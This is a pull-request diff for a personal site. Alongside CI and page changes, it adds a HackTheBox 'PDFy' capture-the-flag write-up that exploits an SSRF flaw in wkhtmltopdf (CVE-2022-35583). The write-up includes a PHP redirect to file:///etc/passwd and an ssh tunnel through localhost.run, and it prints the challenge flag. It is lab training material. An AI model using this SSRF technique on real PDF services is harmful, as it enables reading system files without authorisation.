Skip to content
Merged

Dev #21

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .github/workflows/ci.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ jobs:
- uses: actions/checkout@v2
- uses: ruby/setup-ruby@v1
with:
ruby-version: 2.7
ruby-version: 3.2
bundler-cache: true
- name: build
run: script/bootstrap
Expand Down
22 changes: 22 additions & 0 deletions .github/workflows/publish-gem.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
name: Publish Gem

on:
release:
types: [released]

jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: '3.2'
- name: Build gem
run: |
gem build github-pages.gemspec
- name: Publish
run: |
gem push github-pages.gem --key ${{ secrets.PAGES_GEM_PUBLISH }}
3 changes: 3 additions & 0 deletions docs/CONTRIBUTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -77,6 +77,9 @@ At a high level, [the process for proposing changes](https://guides.github.com/i

`script/cibuild`

## Publishing Gem
In order to publish the Gem bump the version in *this file*, commit, create a tag with the new version number, and finally push the commit and tag to the repo.

## Code of conduct

This project is governed by [the Contributor Covenant Code of Conduct](CODE_OF_CONDUCT.md). By participating, you are expected to uphold this code.
Expand Down
21 changes: 21 additions & 0 deletions index.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,27 @@ layout: default
<h1>News</h1>

<hr>
<article>
<div style="display: flex;">
<div style="flex: 1">
<center>
<img width="400em" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAATcAAACiCAMAAAATIHpEAAAA1VBMVEUUHSz///+f7wEAABcBEiQAABmi8wATHCxeY2qj9gAAAC0TGywQGikAABsPFiqM0wma5wMwN0IJFSYAAB2ws7bV1tkaJTW5u70AAADh4uPw8fI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
</div>
<div style="flex: 1">
<h2>HackTheBox - PDFy - Writeup</h2>
<p>A new writeup for HackTheBox - PDFy is now Available.</p>

<center>
<a href="{{'/pages/writeups/hackthebox/challenges/PDFy/pdfy'}}" class="btn">Check it Out</a>
</center>

<br>
<small>25 Apr 2024</small>
</div>
</div>
</article>

<article>
<div style="display: flex;">
<div style="flex: 1">
Expand Down
Binary file added pages/hackthebox.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
20 changes: 20 additions & 0 deletions pages/writeups.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,26 @@ layout: default
---

<h2>Writeups</h2>
<!-- 2024 -->
<table class="table table-dark caption-top table-striped table-hover text-light text-center">
<caption><h3>2024</h3></caption>
<thead>
<th scope="col">CTF</th>
<th scope="col">Category</th>
<th scope="col">Challenge</th>
<th scope="col">Writeup</th>
</thead>
<tbody>
<tr>
<td><a href="https://www.hackthebox.com/">HackTheBox</a></td>
<td>Web</td>
<td>PDFy</td>
<td class="d-flex justify-content-center">
<a href="{{'/pages/writeups/hackthebox/challenges/PDFy/pdfy'}}" class="btn">Read</a>
</td>
</tr>
</tbody>
</table>

<!-- 2023 -->
<table class="table table-dark caption-top table-striped table-hover text-light text-center">
Expand Down
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
57 changes: 57 additions & 0 deletions pages/writeups/hackthebox/challenges/PDFy/pdfy.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
---
layout: post
author: k0d14k
---

# HackTheBox - PDFy

---

Tags: `SSRF`, **`CVE-2022-35583`, `localhost.run`**

---

> Welcome to PDFy, the exciting challenge where you turn your favorite web pages into portable PDF documents! It's your chance to capture, share, and preserve the best of the internet with precision and creativity. Join us and transform the way we save and cherish web content! NOTE: Leak /etc/passwd to get the flag!
>

In this HackTheBox challenge, We have a website used to dump a PDF based on an existing website:

![Untitled](Untitled.png)

We know that the flag is in the `/etc/passwd` file and when trying to generate a PDF for Google it works correctly.

Let’s see how the PDF request works:

![Untitled](Untitled%201.png)

The request gets a JSON with `url` as a single field and, if the conversion goes as expected a PDF name is returned. Then the PDF is stored in `/static/pdfs/[file name].pdf`.

After some tests, and get some errors as the following one:

![Untitled](Untitled%202.png)

I was sure about one thing: the PDF is made up using the wkhtmltopdf library.

Searching on Google I noticed that there is a CVE over this library: **[CVE-2022-35583](https://github.com/wkhtmltopdf/wkhtmltopdf/issues/5249)**

Then, looking for a PoC I found this useful guide: **[wkhtmltopdf SSRF](https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/).**

```php
<?php
header("Location: file:///etc/passwd");
?>
```

```php
php -S 0.0.0.0:8081
```

```php
ssh -R 80:localhost:8081 nokey@localhost.run
```

![Untitled](Untitled%203.png)

---

## Flag: HTB{pdF_g3n3r4t1on_g03s_brrr!}
2 changes: 1 addition & 1 deletion script/validate-html
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ def validate(file)

return puts "Valid!" if results.errors.empty?

results.errors.each { |err| puts err.to_s }
results.errors.each { |err| puts err }
exit 1
end

Expand Down